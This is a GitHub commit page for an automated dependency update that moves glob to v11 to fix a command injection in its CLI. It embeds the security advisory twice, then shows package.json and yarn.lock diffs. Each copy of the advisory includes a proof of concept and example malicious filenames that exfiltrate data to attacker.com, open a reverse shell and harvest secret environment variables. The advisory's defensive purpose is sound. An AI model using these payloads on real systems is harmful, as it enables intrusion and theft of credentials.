Skip to content

Commit afde993

Browse files
chore(deps): update dependency glob to v11 [security] (#374)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` -> `^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2) ### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.3.7 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `glob@11.1.0` or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results. --- ### glob CLI: Command injection via -c/--cmd executes matches with shell:true [CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) / [GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2) <details> <summary>More information</summary> #### Details ##### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ##### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ##### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory ##### Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash ##### Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash ##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash ##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash ##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ##### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ##### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.3.7 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ##### Remediation - Upgrade to `glob@11.1.0` or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) - [https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146](https://redirect.github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146) - [https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>isaacs/node-glob (glob)</summary> ### [`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0) ### [`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3) ### [`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2) ### [`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1) ### [`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0) ### [`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- ## Need help? You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section. <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6SElHSCJdfQ==--> Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com> Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
1 parent b2dabb5 commit afde993

File tree

2 files changed

+76
-9
lines changed

2 files changed

+76
-9
lines changed

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@
7373
"eslint-plugin-react-hooks": "^4.6.0",
7474
"eslint-webpack-plugin": "^4.0.1",
7575
"fork-ts-checker-webpack-plugin": "^8.0.0",
76-
"glob": "^10.2.7",
76+
"glob": "^11.0.0",
7777
"identity-obj-proxy": "3.0.0",
7878
"imports-loader": "^5.0.0",
7979
"jest": "^29.5.0",

yarn.lock

Lines changed: 75 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1780,6 +1780,22 @@ __metadata:
17801780
languageName: node
17811781
linkType: hard
17821782

1783+
"@isaacs/balanced-match@npm:^4.0.1":
1784+
version: 4.0.1
1785+
resolution: "@isaacs/balanced-match@npm:4.0.1"
1786+
checksum: 10c0/7da011805b259ec5c955f01cee903da72ad97c5e6f01ca96197267d3f33103d5b2f8a1af192140f3aa64526c593c8d098ae366c2b11f7f17645d12387c2fd420
1787+
languageName: node
1788+
linkType: hard
1789+
1790+
"@isaacs/brace-expansion@npm:^5.0.0":
1791+
version: 5.0.0
1792+
resolution: "@isaacs/brace-expansion@npm:5.0.0"
1793+
dependencies:
1794+
"@isaacs/balanced-match": "npm:^4.0.1"
1795+
checksum: 10c0/b4d4812f4be53afc2c5b6c545001ff7a4659af68d4484804e9d514e183d20269bb81def8682c01a22b17c4d6aed14292c8494f7d2ac664e547101c1a905aa977
1796+
languageName: node
1797+
linkType: hard
1798+
17831799
"@isaacs/cliui@npm:^8.0.2":
17841800
version: 8.0.2
17851801
resolution: "@isaacs/cliui@npm:8.0.2"
@@ -4940,7 +4956,7 @@ __metadata:
49404956
languageName: node
49414957
linkType: hard
49424958

4943-
"cross-spawn@npm:^7.0.0, cross-spawn@npm:^7.0.2, cross-spawn@npm:^7.0.3, cross-spawn@npm:^7.0.5":
4959+
"cross-spawn@npm:^7.0.2, cross-spawn@npm:^7.0.3, cross-spawn@npm:^7.0.5, cross-spawn@npm:^7.0.6":
49444960
version: 7.0.6
49454961
resolution: "cross-spawn@npm:7.0.6"
49464962
dependencies:
@@ -6711,13 +6727,13 @@ __metadata:
67116727
languageName: node
67126728
linkType: hard
67136729

6714-
"foreground-child@npm:^3.1.0":
6715-
version: 3.1.1
6716-
resolution: "foreground-child@npm:3.1.1"
6730+
"foreground-child@npm:^3.1.0, foreground-child@npm:^3.3.1":
6731+
version: 3.3.1
6732+
resolution: "foreground-child@npm:3.3.1"
67176733
dependencies:
6718-
cross-spawn: "npm:^7.0.0"
6734+
cross-spawn: "npm:^7.0.6"
67196735
signal-exit: "npm:^4.0.1"
6720-
checksum: 10c0/9700a0285628abaeb37007c9a4d92bd49f67210f09067638774338e146c8e9c825c5c877f072b2f75f41dc6a2d0be8664f79ffc03f6576649f54a84fb9b47de0
6736+
checksum: 10c0/8986e4af2430896e65bc2788d6679067294d6aee9545daefc84923a0a4b399ad9c7a3ea7bd8c0b2b80fdf4a92de4c69df3f628233ff3224260e9c1541a9e9ed3
67216737
languageName: node
67226738
linkType: hard
67236739

@@ -7034,7 +7050,7 @@ __metadata:
70347050
languageName: node
70357051
linkType: hard
70367052

7037-
"glob@npm:^10.2.2, glob@npm:^10.2.7":
7053+
"glob@npm:^10.2.2":
70387054
version: 10.4.5
70397055
resolution: "glob@npm:10.4.5"
70407056
dependencies:
@@ -7050,6 +7066,22 @@ __metadata:
70507066
languageName: node
70517067
linkType: hard
70527068

7069+
"glob@npm:^11.0.0":
7070+
version: 11.1.0
7071+
resolution: "glob@npm:11.1.0"
7072+
dependencies:
7073+
foreground-child: "npm:^3.3.1"
7074+
jackspeak: "npm:^4.1.1"
7075+
minimatch: "npm:^10.1.1"
7076+
minipass: "npm:^7.1.2"
7077+
package-json-from-dist: "npm:^1.0.0"
7078+
path-scurry: "npm:^2.0.0"
7079+
bin:
7080+
glob: dist/esm/bin.mjs
7081+
checksum: 10c0/1ceae07f23e316a6fa74581d9a74be6e8c2e590d2f7205034dd5c0435c53f5f7b712c2be00c3b65bf0a49294a1c6f4b98cd84c7637e29453b5aa13b79f1763a2
7082+
languageName: node
7083+
linkType: hard
7084+
70537085
"glob@npm:^7.1.3, glob@npm:^7.1.4":
70547086
version: 7.2.3
70557087
resolution: "glob@npm:7.2.3"
@@ -7195,7 +7227,7 @@ __metadata:
71957227
eslint-plugin-react-hooks: "npm:^4.6.0"
71967228
eslint-webpack-plugin: "npm:^4.0.1"
71977229
fork-ts-checker-webpack-plugin: "npm:^8.0.0"
7198-
glob: "npm:^10.2.7"
7230+
glob: "npm:^11.0.0"
71997231
identity-obj-proxy: "npm:3.0.0"
72007232
imports-loader: "npm:^5.0.0"
72017233
jest: "npm:^29.5.0"
@@ -8209,6 +8241,15 @@ __metadata:
82098241
languageName: node
82108242
linkType: hard
82118243

8244+
"jackspeak@npm:^4.1.1":
8245+
version: 4.1.1
8246+
resolution: "jackspeak@npm:4.1.1"
8247+
dependencies:
8248+
"@isaacs/cliui": "npm:^8.0.2"
8249+
checksum: 10c0/84ec4f8e21d6514db24737d9caf65361511f75e5e424980eebca4199f400874f45e562ac20fa8aeb1dd20ca2f3f81f0788b6e9c3e64d216a5794fd6f30e0e042
8250+
languageName: node
8251+
linkType: hard
8252+
82128253
"jest-changed-files@npm:^29.7.0":
82138254
version: 29.7.0
82148255
resolution: "jest-changed-files@npm:29.7.0"
@@ -9093,6 +9134,13 @@ __metadata:
90939134
languageName: node
90949135
linkType: hard
90959136

9137+
"lru-cache@npm:^11.0.0":
9138+
version: 11.2.2
9139+
resolution: "lru-cache@npm:11.2.2"
9140+
checksum: 10c0/72d7831bbebc85e2bdefe01047ee5584db69d641c48d7a509e86f66f6ee111b30af7ec3bd68a967d47b69a4b1fa8bbf3872630bd06a63b6735e6f0a5f1c8e83d
9141+
languageName: node
9142+
linkType: hard
9143+
90969144
"lru-cache@npm:^5.1.1":
90979145
version: 5.1.1
90989146
resolution: "lru-cache@npm:5.1.1"
@@ -9336,6 +9384,15 @@ __metadata:
93369384
languageName: node
93379385
linkType: hard
93389386

9387+
"minimatch@npm:^10.1.1":
9388+
version: 10.1.1
9389+
resolution: "minimatch@npm:10.1.1"
9390+
dependencies:
9391+
"@isaacs/brace-expansion": "npm:^5.0.0"
9392+
checksum: 10c0/c85d44821c71973d636091fddbfbffe62370f5ee3caf0241c5b60c18cd289e916200acb2361b7e987558cd06896d153e25d505db9fc1e43e6b4b6752e2702902
9393+
languageName: node
9394+
linkType: hard
9395+
93399396
"minimatch@npm:^3.0.4, minimatch@npm:^3.0.5, minimatch@npm:^3.1.1, minimatch@npm:^3.1.2":
93409397
version: 3.1.2
93419398
resolution: "minimatch@npm:3.1.2"
@@ -10010,6 +10067,16 @@ __metadata:
1001010067
languageName: node
1001110068
linkType: hard
1001210069

10070+
"path-scurry@npm:^2.0.0":
10071+
version: 2.0.1
10072+
resolution: "path-scurry@npm:2.0.1"
10073+
dependencies:
10074+
lru-cache: "npm:^11.0.0"
10075+
minipass: "npm:^7.1.2"
10076+
checksum: 10c0/2a16ed0e81fbc43513e245aa5763354e25e787dab0d539581a6c3f0f967461a159ed6236b2559de23aa5b88e7dc32b469b6c47568833dd142a4b24b4f5cd2620
10077+
languageName: node
10078+
linkType: hard
10079+
1001310080
"path-to-regexp@npm:^1.7.0":
1001410081
version: 1.9.0
1001510082
resolution: "path-to-regexp@npm:1.9.0"

0 commit comments

Comments
 (0)